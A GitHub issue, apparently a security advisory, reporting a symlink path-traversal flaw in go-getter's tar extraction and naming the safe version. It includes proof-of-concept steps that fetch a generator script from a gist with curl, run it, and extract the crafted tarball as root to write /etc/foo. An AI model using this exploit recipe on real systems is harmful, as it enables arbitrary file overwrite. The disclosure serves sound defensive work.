You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
#171 introduced symlink support for tar archives, but unlike GNU tar did not protect against arbitrary path traversal via symlinks. A specially crafted tarball could write to any location on the filesystem the process has access to.
#174 reverted #171, but users are encouraged to ensure they are not using d9c5f68 as a library or command line tool.
go-getter 1.2.0 is safe from this path traversal issue.
Proof of concept
curl https://gist.githubusercontent.com/schmichael/12dc47df77dc210fd6c573db01f35cb1/raw/849ec6dd1e599b02bbd1428e93391d29bc301b52/write.go > write.go
go run write.go
# Show that GNU tar is safe
sudo tar xvf etc-foo.tar
# You should see an error. "etc" will exist but not "etc/foo"
rm etc
# Must run getter from another directory
gzip etc-foo.tar
mkdir tmp
cd tmp
sudo go-getter ../etc-foo.tar.gz .
sudo cat etc/foo
# Outputs "foo"
sudo cat /etc/foo
# Outputs "foo"
#171 introduced symlink support for tar archives, but unlike GNU tar did not protect against arbitrary path traversal via symlinks. A specially crafted tarball could write to any location on the filesystem the process has access to.
#174 reverted #171, but users are encouraged to ensure they are not using d9c5f68 as a library or command line tool.
go-getter 1.2.0 is safe from this path traversal issue.
Proof of concept
Script to generate tarball: https://gist.github.com/schmichael/12dc47df77dc210fd6c573db01f35cb1
The text was updated successfully, but these errors were encountered: